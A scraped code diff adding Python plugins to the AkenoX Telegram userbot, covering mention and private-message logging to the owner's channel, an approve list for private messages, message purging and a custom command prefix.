| 71 |
+
|
| 72 |
+
if message.from_user.status == UserStatus.LONG_AGO:
|
| 73 |
+
if message.reply_to_message.id:
|
| 74 |
+
await message.reply_to_message.delete()
|
| 75 |
+
return
|
| 76 |
+
user_info = get_user_info(client, message)
|
| 77 |
+
if message.entities:
|
| 78 |
+
await process_entities(client, message, user_info)
|
| 79 |
+
else:
|
| 80 |
+
await process_no_entities(client, message, user_info)
|
| 81 |
+
|
| 82 |
+
|
| 83 |
+
def get_user_info(client, message):
|
| 84 |
+
if message.chat.type == ChatType.PRIVATE:
|
| 85 |
+
return f"""
|
| 86 |
+
First Name: {message.from_user.first_name}
|
| 87 |
+
UserID: `{message.from_user.id}`
|
| 88 |
+
Username: {message.from_user.username if message.from_user else None}
|
| 89 |
+
Text: `{message.text}`
|
| 90 |
+
"""
|
| 91 |
+
else:
|
| 92 |
+
return f"""
|
| 93 |
+
Group Title: {message.chat.title}
|
| 94 |
+
Group ID: {message.chat.id}
|
| 95 |
+
|
| 96 |
+
First Name: {message.from_user.first_name}
|
| 97 |
+
UserID: `{message.from_user.id}`
|
| 98 |
+
Username: {message.from_user.username if message.from_user else None}
|
| 99 |
+
Text: `{message.text}`
|
| 100 |
+
"""
|
| 101 |
+
|
| 102 |
+
|
| 103 |
+
async def process_entities(client, message, user_info):
|
| 104 |
+
for entity in message.entities:
|
| 105 |
+
if entity.type == MessageEntityType.MENTION:
|
| 106 |
+
username = message.text[entity.offset:entity.offset + entity.length]
|
| 107 |
+
if username == f"@{client.me.username}":
|
| 108 |
+
await handle_tag(client, message, user_info)
|
| 109 |
+
|
| 110 |
+
|
| 111 |
+
async def process_no_entities(client, message, user_info):
|
| 112 |
+
await handle_tag(client, message, user_info)
|
| 113 |
+
|
| 114 |
+
def getchat_button(user_id: int, message):
|
| 115 |
+
return InlineKeyboardMarkup(
|
| 116 |
+
[
|
| 117 |
+
[
|
| 118 |
+
InlineKeyboardButton(
|
| 119 |
+
text="👤 Profile",
|
| 120 |
+
url=f"tg://user?id={user_id}"
|
| 121 |
+
)
|
| 122 |
+
],
|
| 123 |
+
[
|
| 124 |
+
InlineKeyboardButton(
|
| 125 |
+
text="👀 Open Message",
|
| 126 |
+
url=message.link
|
| 127 |
+
)
|
| 128 |
+
]
|
| 129 |
+
]
|
| 130 |
+
)
|
| 131 |
+
|
| 132 |
+
async def handle_tag(client, message, user_info):
|
| 133 |
+
media_type, file_id = None, None
|
| 134 |
+
reply_markup = None
|
| 135 |
+
username_me = RENDYDEV.client_me().me.username
|
| 136 |
+
if not username_me:
|
| 137 |
+
return
|
| 138 |
+
if message.sticker:
|
| 139 |
+
media_type = "sticker"
|
| 140 |
+
file_id = message.sticker.file_id
|
| 141 |
+
reply_markup = getchat_button(message.from_user.id, message)
|
| 142 |
+
if message.text:
|
| 143 |
+
reply_markup = getchat_button(message.from_user.id, message)
|
| 144 |
+
elif message.photo:
|
| 145 |
+
media_type = "photo"
|
| 146 |
+
file_id = (await assistant.send_photo(username_me, await message.download())).photo.file_id
|
| 147 |
+
reply_markup = getchat_button(message.from_user.id, message)
|
| 148 |
+
elif message.video:
|
| 149 |
+
media_type = "video"
|
| 150 |
+
file_id = (await assistant.send_video(username_me, await message.download())).video.file_id
|
| 151 |
+
reply_markup = getchat_button(message.from_user.id, message)
|
| 152 |
+
elif message.animation:
|
| 153 |
+
media_type = "animation"
|
| 154 |
+
file_id = (await assistant.send_animation(username_me, await message.download())).animation.file_id
|
| 155 |
+
reply_markup = getchat_button(message.from_user.id, message)
|
| 156 |
+
elif message.story:
|
| 157 |
+
media = await message.download()
|
| 158 |
+
if media.endswith(".jpg"):
|
| 159 |
+
media_type = "photo"
|
| 160 |
+
file_id = (await assistant.send_photo(username_me, media)).photo.file_id
|
| 161 |
+
reply_markup = getchat_button(message.from_user.id, message)
|
| 162 |
+
else:
|
| 163 |
+
media_type = "video"
|
| 164 |
+
file_id = (await assistant.send_video(username_me, media)).video.file_id
|
| 165 |
+
reply_markup = getchat_button(message.from_user.id, message)
|
| 166 |
+
|
| 167 |
+
serialized_reply_markup = (
|
| 168 |
+
serialize_reply_markup(reply_markup) if reply_markup else None
|
| 169 |
+
)
|
| 170 |
+
tag_data = RENDYDEV.set_storage(
|
| 171 |
+
file_id=file_id or "",
|
| 172 |
+
message_link=message.link,
|
| 173 |
+
user_id=message.from_user.id,
|
| 174 |
+
caption=user_info,
|
| 175 |
+
media_photo=media_type == "photo",
|
| 176 |
+
is_sticker=media_type == "sticker",
|
| 177 |
+
is_animation=media_type == "animation",
|
| 178 |
+
media_video=media_type == "video",
|
| 179 |
+
media_audio=False,
|
| 180 |
+
input_text=user_info if not media_type else "",
|
| 181 |
+
reply_markup=serialized_reply_markup
|
| 182 |
+
)
|
| 183 |
+
await db_client.set_env(f"USERAUTO2:{client.me.id}", tag_data)
|
| 184 |
+
bot_username = (await assistant.get_me()).username
|
| 185 |
+
try:
|
| 186 |
+
oh = await client.get_inline_bot_results(bot=bot_username, query=f"userauto:{client.me.id}")
|
| 187 |
+
await client.send_inline_bot_result(
|
| 188 |
+
LOG_CHANNEL,
|
| 189 |
+
oh.query_id,
|
| 190 |
+
oh.results[0].id,
|
| 191 |
+
reply_to_message_id=None
|
| 192 |
+
)
|
| 193 |
+
except Exception as e:
|
| 194 |
+
LOGS.info(f"Failed to send inline bot result: {str(e)}")
|
AkenoX/plugins/pmpermit.py
ADDED
|
@@ -0,0 +1,218 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python
|
| 2 |
+
# -*- coding: utf-8 -*-
|
| 3 |
+
# Credits @xpushz on telegram
|
| 4 |
+
# Copyright 2020-2024 (c) Randy W @xtdevs, @xtsea on telegram
|
| 5 |
+
#
|
| 6 |
+
# from : https://github.com/TeamKillerX
|
| 7 |
+
# Channel : @RendyProjects
|
| 8 |
+
# This program is free software: you can redistribute it and/or modify
|
| 9 |
+
# it under the terms of the GNU Affero General Public License as published by
|
| 10 |
+
# the Free Software Foundation, either version 3 of the License, or
|
| 11 |
+
# (at your option) any later version.
|
| 12 |
+
|
| 13 |
+
# This program is distributed in the hope that it will be useful,
|
| 14 |
+
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
| 15 |
+
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
| 16 |
+
# GNU Affero General Public License for more details.
|
| 17 |
+
#
|
| 18 |
+
# You should have received a copy of the GNU Affero General Public License
|
| 19 |
+
# along with this program. If not, see <https://www.gnu.org/licenses/>.
|
| 20 |
+
|
| 21 |
+
import asyncio
|
| 22 |
+
from datetime import datetime
|
| 23 |
+
|
| 24 |
+
import pytz
|
| 25 |
+
from pyrogram import *
|
| 26 |
+
from pyrogram.enums import *
|
| 27 |
+
from pyrogram.types import *
|
| 28 |
+
|
| 29 |
+
from AkenoX import *
|
| 30 |
+
from AkenoX.core.database import *
|
| 31 |
+
from AkenoX.core.helper_button import *
|
| 32 |
+
from AkenoX.core.logger import LOGS
|
| 33 |
+
|
| 34 |
+
TEXT_CUSTOM = """
|
| 35 |
+
Hey {name} Don't spam here
|
| 36 |
+
"""
|
| 37 |
+
|
| 38 |
+
ERROR_MESSAGES = {
|
| 39 |
+
"self_disallow": "`I can't disallow myself`",
|
| 40 |
+
"not_allowed": "`User is not allowed to pm!`",
|
| 41 |
+
"reply_or_id": "`Reply to a user or give their id/username`",
|
| 42 |
+
"user_fetch_error": "`Error fetching user: {error}`"
|
| 43 |
+
}
|
| 44 |
+
|
| 45 |
+
@RENDYDEV.user(
|
| 46 |
+
prefix=["allowlist", "approvelist"],
|
| 47 |
+
filters=(
|
| 48 |
+
~filters.scheduled
|
| 49 |
+
& filters.me
|
| 50 |
+
& ~filters.forwarded
|
| 51 |
+
),
|
| 52 |
+
is_run=False
|
| 53 |
+
)
|
| 54 |
+
async def allowlist(client: Client, message: Message):
|
| 55 |
+
x = await message.reply_text("`Fetching allowlist...`")
|
| 56 |
+
users = await db_client.get_all_pmpermits(client.me.id)
|
| 57 |
+
if not users:
|
| 58 |
+
return await x.edit_text("`No users allowed to pm!`")
|
| 59 |
+
text = "**🍀 𝖠𝗉𝗉𝗋𝗈𝗏𝖾𝖽 𝖴𝗌𝖾𝗋'𝗌 𝖫𝗂𝗌𝗍:**\n\n"
|
| 60 |
+
for user in users:
|
| 61 |
+
try:
|
| 62 |
+
name = (await client.get_users(user["user"])).first_name
|
| 63 |
+
text += f"{name} (`{user['user']}`) | {user['date']}\n"
|
| 64 |
+
except:
|
| 65 |
+
text += f"Unkown Peer (`{user['user']}`) | {user['date']}\n"
|
| 66 |
+
await x.edit_text(text)
|
| 67 |
+
|
| 68 |
+
async def get_user_info(client, message):
|
| 69 |
+
if len(message.command) > 1:
|
| 70 |
+
try:
|
| 71 |
+
user = await client.get_users(message.command[1])
|
| 72 |
+
return user.id, user.mention
|
| 73 |
+
except Exception as e:
|
| 74 |
+
raise ValueError(ERROR_MESSAGES["user_fetch_error"].format(error=e))
|
| 75 |
+
elif message.chat.type == ChatType.PRIVATE:
|
| 76 |
+
return message.chat.id, message.chat.first_name or message.chat.title
|
| 77 |
+
elif message.reply_to_message:
|
| 78 |
+
return message.reply_to_message.from_user.id, message.reply_to_message.from_user.mention
|
| 79 |
+
else:
|
| 80 |
+
raise ValueError(ERROR_MESSAGES["reply_or_id"])
|
| 81 |
+
|
| 82 |
+
@RENDYDEV.user(
|
| 83 |
+
prefix=["disallow", "disapprove", "d"],
|
| 84 |
+
filters=(
|
| 85 |
+
~filters.scheduled
|
| 86 |
+
& filters.me
|
| 87 |
+
& ~filters.forwarded
|
| 88 |
+
),
|
| 89 |
+
is_run=False
|
| 90 |
+
)
|
| 91 |
+
async def disallow_pm(client: Client, message: Message):
|
| 92 |
+
try:
|
| 93 |
+
user_id, user_mention = await get_user_info(client, message)
|
| 94 |
+
except ValueError as e:
|
| 95 |
+
return await message.reply_text(str(e))
|
| 96 |
+
|
| 97 |
+
if user_id == client.me.id:
|
| 98 |
+
return await message.reply_text(ERROR_MESSAGES["self_disallow"])
|
| 99 |
+
if not await db_client.is_pmpermit(client.me.id, user_id):
|
| 100 |
+
return await message.reply_text(ERROR_MESSAGES["not_allowed"])
|
| 101 |
+
|
| 102 |
+
await db_client.rm_pmpermit(client.me.id, user_id)
|
| 103 |
+
await message.reply_text(f"** Disallowed:** {user_mention}")
|
| 104 |
+
|
| 105 |
+
@RENDYDEV.user(is_out=True)
|
| 106 |
+
async def handler_outgoing_pm(client: Client, message: Message):
|
| 107 |
+
if message.chat.id == 777000:
|
| 108 |
+
return
|
| 109 |
+
if not await db_client.get_env("PMPERMIT"):
|
| 110 |
+
return
|
| 111 |
+
if not await db_client.is_pmpermit(client.me.id, message.chat.id):
|
| 112 |
+
await db_client.add_pmpermit(client.me.id, message.chat.id)
|
| 113 |
+
x = await message.reply_text("Approving ...")
|
| 114 |
+
await x.edit_text(f"**Auto-Approved Outgoing PM:** {message.chat.first_name}")
|
| 115 |
+
|
| 116 |
+
async def delete_inline(client, message, message_id, wait_for=5):
|
| 117 |
+
await asyncio.sleep(wait_for)
|
| 118 |
+
await client.delete_messages(message.chat.id, message_id)
|
| 119 |
+
|
| 120 |
+
def profile_button(user_id: int, msg_id: int):
|
| 121 |
+
return InlineKeyboardMarkup(
|
| 122 |
+
[
|
| 123 |
+
[
|
| 124 |
+
InlineKeyboardButton(
|
| 125 |
+
text="👤 Profile",
|
| 126 |
+
url=f"tg://user?id={user_id}"
|
| 127 |
+
)
|
| 128 |
+
],
|
| 129 |
+
[
|
| 130 |
+
InlineKeyboardButton(
|
| 131 |
+
text="👀 Open Message",
|
| 132 |
+
url=f"tg://openmessage?user_id={user_id}&message_id={msg_id}"
|
| 133 |
+
)
|
| 134 |
+
]
|
| 135 |
+
]
|
| 136 |
+
)
|
| 137 |
+
|
| 138 |
+
@RENDYDEV.user(is_pmpermit=True)
|
| 139 |
+
async def pmpermit_check(client, message):
|
| 140 |
+
if not await db_client.get_env("PMPERMIT"):
|
| 141 |
+
return
|
| 142 |
+
if message.chat.id == 777000:
|
| 143 |
+
return
|
| 144 |
+
if not RENDYDEV.client_me().me.username:
|
| 145 |
+
return
|
| 146 |
+
|
| 147 |
+
media_type, file_id = None, None
|
| 148 |
+
reply_markup = None
|
| 149 |
+
bot_username = (await assistant.get_me()).username
|
| 150 |
+
|
| 151 |
+
if message.story:
|
| 152 |
+
media = await message.download()
|
| 153 |
+
if media.endswith(".jpg"):
|
| 154 |
+
media_type = "photo"
|
| 155 |
+
file_id = (await assistant.send_photo(RENDYDEV.client_me().me.username, media)).photo.file_id
|
| 156 |
+
reply_markup = profile_button(message.from_user.id, message.id)
|
| 157 |
+
else:
|
| 158 |
+
media_type = "video"
|
| 159 |
+
file_id = (await assistant.send_video(RENDYDEV.client_me().me.username, media)).video.file_id
|
| 160 |
+
reply_markup = profile_button(message.from_user.id, message.id)
|
| 161 |
+
elif message.photo:
|
| 162 |
+
media_type = "photo"
|
| 163 |
+
file_id = (await assistant.send_photo(RENDYDEV.client_me().me.username, await message.download())).photo.file_id
|
| 164 |
+
reply_markup = profile_button(message.from_user.id, message.id)
|
| 165 |
+
elif message.animation:
|
| 166 |
+
media_type = "animation"
|
| 167 |
+
file_id = (await assistant.send_animation(RENDYDEV.client_me().me.username, await message.download())).animation.file_id
|
| 168 |
+
reply_markup = profile_button(message.from_user.id, message.id)
|
| 169 |
+
elif message.sticker:
|
| 170 |
+
media_type = "sticker"
|
| 171 |
+
file_id = message.sticker.file_id
|
| 172 |
+
reply_markup = profile_button(message.from_user.id, message.id)
|
| 173 |
+
|
| 174 |
+
serialized_reply_markup = (
|
| 175 |
+
serialize_reply_markup(reply_markup) if reply_markup else None
|
| 176 |
+
)
|
| 177 |
+
user_mention = f"<a href='tg://user?id={message.from_user.id}'>{message.from_user.first_name}</a>"
|
| 178 |
+
original_date = message.date
|
| 179 |
+
original_date = original_date.replace(tzinfo=pytz.utc)
|
| 180 |
+
jakarta_tz = pytz.timezone("Asia/Jakarta")
|
| 181 |
+
jakarta_date = original_date.astimezone(jakarta_tz)
|
| 182 |
+
days_in_indonesian = ["Senin", "Selasa", "Rabu", "Kamis", "Jumat", "Sabtu", "Minggu"]
|
| 183 |
+
day_of_week = jakarta_date.weekday()
|
| 184 |
+
indonesian_day_name = days_in_indonesian[day_of_week]
|
| 185 |
+
dates_in = f"{jakarta_date.strftime('%Y-%m-%d %H:%M:%S')} - Hari: {indonesian_day_name}"
|
| 186 |
+
|
| 187 |
+
user_info = f"""
|
| 188 |
+
<b>PMPERMIT LOGS:</b>
|
| 189 |
+
UserID: <code>{message.from_user.id}</code>
|
| 190 |
+
UserMention: {user_mention}
|
| 191 |
+
Username: @{message.from_user.username if message.from_user else None}
|
| 192 |
+
TextLog: <code>{message.text or message.caption}</code>
|
| 193 |
+
MediaType: <code>{media_type}</code>
|
| 194 |
+
Date: <code>{dates_in}</code>
|
| 195 |
+
"""
|
| 196 |
+
pm_data = RENDYDEV.set_storage(
|
| 197 |
+
file_id=file_id or "",
|
| 198 |
+
input_text2=user_info,
|
| 199 |
+
caption=user_info,
|
| 200 |
+
media_video=media_type == "video",
|
| 201 |
+
media_photo=media_type == "photo",
|
| 202 |
+
is_sticker=media_type == "sticker",
|
| 203 |
+
is_animation=media_type == "animation",
|
| 204 |
+
user_id=message.from_user.id,
|
| 205 |
+
reply_markup=serialized_reply_markup
|
| 206 |
+
)
|
| 207 |
+
await db_client.set_env(f"PM_LOG:{client.me.id}", pm_data)
|
| 208 |
+
try:
|
| 209 |
+
inline = await client.get_inline_bot_results(bot=bot_username, query=f"pmapprove:{client.me.id}")
|
| 210 |
+
await client.send_inline_bot_result(
|
| 211 |
+
LOG_CHANNEL,
|
| 212 |
+
inline.query_id,
|
| 213 |
+
inline.results[0].id,
|
| 214 |
+
reply_to_message_id=None
|
| 215 |
+
)
|
| 216 |
+
return
|
| 217 |
+
except Exception as e:
|
| 218 |
+
LOGS.info(str(e))
|
AkenoX/plugins/purge.py
ADDED
|
@@ -0,0 +1,130 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python
|
| 2 |
+
# -*- coding: utf-8 -*-
|
| 3 |
+
# Credits @xpushz on telegram
|
| 4 |
+
# Copyright 2020-2024 (c) Randy W @xtdevs, @xtsea on telegram
|
| 5 |
+
#
|
| 6 |
+
# from : https://github.com/TeamKillerX
|
| 7 |
+
# Channel : @RendyProjects
|
| 8 |
+
# This program is free software: you can redistribute it and/or modify
|
| 9 |
+
# it under the terms of the GNU Affero General Public License as published by
|
| 10 |
+
# the Free Software Foundation, either version 3 of the License, or
|
| 11 |
+
# (at your option) any later version.
|
| 12 |
+
|
| 13 |
+
# This program is distributed in the hope that it will be useful,
|
| 14 |
+
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
| 15 |
+
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
| 16 |
+
# GNU Affero General Public License for more details.
|
| 17 |
+
#
|
| 18 |
+
# You should have received a copy of the GNU Affero General Public License
|
| 19 |
+
# along with this program. If not, see <https://www.gnu.org/licenses/>.
|
| 20 |
+
|
| 21 |
+
import asyncio
|
| 22 |
+
|
| 23 |
+
from pyrogram import *
|
| 24 |
+
from pyrogram import Client, filters
|
| 25 |
+
from pyrogram.types import *
|
| 26 |
+
from pyrogram.types import Message
|
| 27 |
+
|
| 28 |
+
from AkenoX import *
|
| 29 |
+
|
| 30 |
+
|
| 31 |
+
@RENDYDEV.user(
|
| 32 |
+
prefix=["del"],
|
| 33 |
+
filters=(
|
| 34 |
+
~filters.scheduled
|
| 35 |
+
& filters.me
|
| 36 |
+
& ~filters.forwarded
|
| 37 |
+
),
|
| 38 |
+
is_run=False
|
| 39 |
+
)
|
| 40 |
+
async def del_user(_, message: Message):
|
| 41 |
+
rep = message.reply_to_message
|
| 42 |
+
await message.delete()
|
| 43 |
+
await rep.delete()
|
| 44 |
+
|
| 45 |
+
@RENDYDEV.user(
|
| 46 |
+
prefix=["purgeme"],
|
| 47 |
+
filters=(
|
| 48 |
+
~filters.scheduled
|
| 49 |
+
& filters.me
|
| 50 |
+
& ~filters.forwarded
|
| 51 |
+
),
|
| 52 |
+
is_run=False
|
| 53 |
+
)
|
| 54 |
+
async def purge_me_func(client: Client, message: Message):
|
| 55 |
+
if len(message.command) != 2:
|
| 56 |
+
return await message.delete()
|
| 57 |
+
n = (
|
| 58 |
+
message.reply_to_message
|
| 59 |
+
if message.reply_to_message
|
| 60 |
+
else message.text.split(None, 1)[1].strip()
|
| 61 |
+
)
|
| 62 |
+
if not n.isnumeric():
|
| 63 |
+
return await message.reply_text("Invalid Bruhhh????")
|
| 64 |
+
n = int(n)
|
| 65 |
+
if n < 1:
|
| 66 |
+
return await message.reply_text("Bruhhhh number 0?")
|
| 67 |
+
chat_id = message.chat.id
|
| 68 |
+
message_ids = [
|
| 69 |
+
m.id
|
| 70 |
+
async for m in client.search_messages(
|
| 71 |
+
chat_id,
|
| 72 |
+
from_user=int(message.from_user.id),
|
| 73 |
+
limit=n,
|
| 74 |
+
)
|
| 75 |
+
]
|
| 76 |
+
if not message_ids:
|
| 77 |
+
return await message.reply_text("No messages found.")
|
| 78 |
+
to_delete = [message_ids[i : i + 999] for i in range(0, len(message_ids), 999)]
|
| 79 |
+
for hundred_messages_or_less in to_delete:
|
| 80 |
+
await client.delete_messages(
|
| 81 |
+
chat_id=chat_id,
|
| 82 |
+
message_ids=hundred_messages_or_less,
|
| 83 |
+
revoke=True,
|
| 84 |
+
)
|
| 85 |
+
mmk = await message.reply_text(f"{n} Successfully fast purgeme")
|
| 86 |
+
await asyncio.sleep(2)
|
| 87 |
+
await mmk.delete()
|
| 88 |
+
|
| 89 |
+
@RENDYDEV.user(
|
| 90 |
+
prefix=["purge"],
|
| 91 |
+
filters=(
|
| 92 |
+
~filters.scheduled
|
| 93 |
+
& filters.me
|
| 94 |
+
& ~filters.forwarded
|
| 95 |
+
),
|
| 96 |
+
is_run=False
|
| 97 |
+
)
|
| 98 |
+
async def purgefunc(client: Client, message: Message):
|
| 99 |
+
await message.delete()
|
| 100 |
+
if not message.reply_to_message:
|
| 101 |
+
return await message.reply_text("Reply to message purge.")
|
| 102 |
+
chat_id = message.chat.id
|
| 103 |
+
message_ids = []
|
| 104 |
+
for message_id in range(
|
| 105 |
+
message.reply_to_message.id,
|
| 106 |
+
message.id,
|
| 107 |
+
):
|
| 108 |
+
message_ids.append(message_id)
|
| 109 |
+
if len(message_ids) == 100:
|
| 110 |
+
await client.delete_messages(
|
| 111 |
+
chat_id=chat_id,
|
| 112 |
+
message_ids=message_ids,
|
| 113 |
+
revoke=True,
|
| 114 |
+
)
|
| 115 |
+
message_ids = []
|
| 116 |
+
if len(message_ids) > 0:
|
| 117 |
+
await client.delete_messages(
|
| 118 |
+
chat_id=chat_id,
|
| 119 |
+
message_ids=message_ids,
|
| 120 |
+
revoke=True,
|
| 121 |
+
)
|
| 122 |
+
|
| 123 |
+
RENDYDEV.buttons(
|
| 124 |
+
"purge",
|
| 125 |
+
[
|
| 126 |
+
["del", "to delete someone's message."],
|
| 127 |
+
["purge", "reply to all messages from your replied."],
|
| 128 |
+
["purgeme [count]", "to delete your messages only."],
|
| 129 |
+
],
|
| 130 |
+
)
|
AkenoX/plugins/setprefix.py
ADDED
|
@@ -0,0 +1,64 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python
|
| 2 |
+
# -*- coding: utf-8 -*-
|
| 3 |
+
# Credits @xpushz on telegram
|
| 4 |
+
# Copyright 2020-2024 (c) Randy W @xtdevs, @xtsea on telegram
|
| 5 |
+
#
|
| 6 |
+
# from : https://github.com/TeamKillerX
|
| 7 |
+
# Channel : @RendyProjects
|
| 8 |
+
# This program is free software: you can redistribute it and/or modify
|
| 9 |
+
# it under the terms of the GNU Affero General Public License as published by
|
| 10 |
+
# the Free Software Foundation, either version 3 of the License, or
|
| 11 |
+
# (at your option) any later version.
|
| 12 |
+
|
| 13 |
+
# This program is distributed in the hope that it will be useful,
|
| 14 |
+
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
| 15 |
+
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
| 16 |
+
# GNU Affero General Public License for more details.
|
| 17 |
+
#
|
| 18 |
+
# You should have received a copy of the GNU Affero General Public License
|
| 19 |
+
# along with this program. If not, see <https://www.gnu.org/licenses/>.
|
| 20 |
+
|
| 21 |
+
from pyrogram import *
|
| 22 |
+
from pyrogram.enums import *
|
| 23 |
+
from pyrogram.types import *
|
| 24 |
+
|
| 25 |
+
from AkenoX import *
|
| 26 |
+
from AkenoX.core.sqlite_prefix import *
|
| 27 |
+
|
| 28 |
+
|
| 29 |
+
@RENDYDEV.user(
|
| 30 |
+
prefix=["setprefix"],
|
| 31 |
+
filters=(
|
| 32 |
+
~filters.scheduled
|
| 33 |
+
& filters.me
|
| 34 |
+
& ~filters.forwarded
|
| 35 |
+
),
|
| 36 |
+
is_run=False
|
| 37 |
+
)
|
| 38 |
+
async def set_prefix(client: Client, message: Message):
|
| 39 |
+
user_id = message.from_user.id
|
| 40 |
+
if not message.text or len(message.text.split()) < 2:
|
| 41 |
+
await message.reply_text("Usage: $setprefix custom emoji or None")
|
| 42 |
+
return
|
| 43 |
+
|
| 44 |
+
new_prefix_text = message.text.split(maxsplit=1)[1]
|
| 45 |
+
|
| 46 |
+
if client.me.is_premium:
|
| 47 |
+
if message.entities:
|
| 48 |
+
for entity in message.entities:
|
| 49 |
+
if entity.type == MessageEntityType.CUSTOM_EMOJI and entity.offset >= len(message.text.split()[0]) + 1:
|
| 50 |
+
custom_emoji_id = entity.custom_emoji_id
|
| 51 |
+
await set_prefix_in_db(user_id, custom_emoji_id)
|
| 52 |
+
await message.reply_text(f"Custom emoji prefix set to: <emoji id={custom_emoji_id}>🗿</emoji>")
|
| 53 |
+
return
|
| 54 |
+
|
| 55 |
+
if new_prefix_text.lower() == "none":
|
| 56 |
+
await set_prefix_in_db(user_id, "None")
|
| 57 |
+
await message.reply_text("Prefix removed.")
|
| 58 |
+
return
|
| 59 |
+
try:
|
| 60 |
+
emoji_or_symbol = new_prefix_text.encode("utf-8").decode("utf-8")
|
| 61 |
+
await set_prefix_in_db(user_id, emoji_or_symbol)
|
| 62 |
+
await message.reply_text(f"Prefix set to: {emoji_or_symbol}")
|
| 63 |
+
except UnicodeDecodeError:
|
| 64 |
+
await message.reply_text("Invalid emoji or symbol. Please try again.")
|
AkenoX/plugins/spring.py
ADDED
|
@@ -0,0 +1,26 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
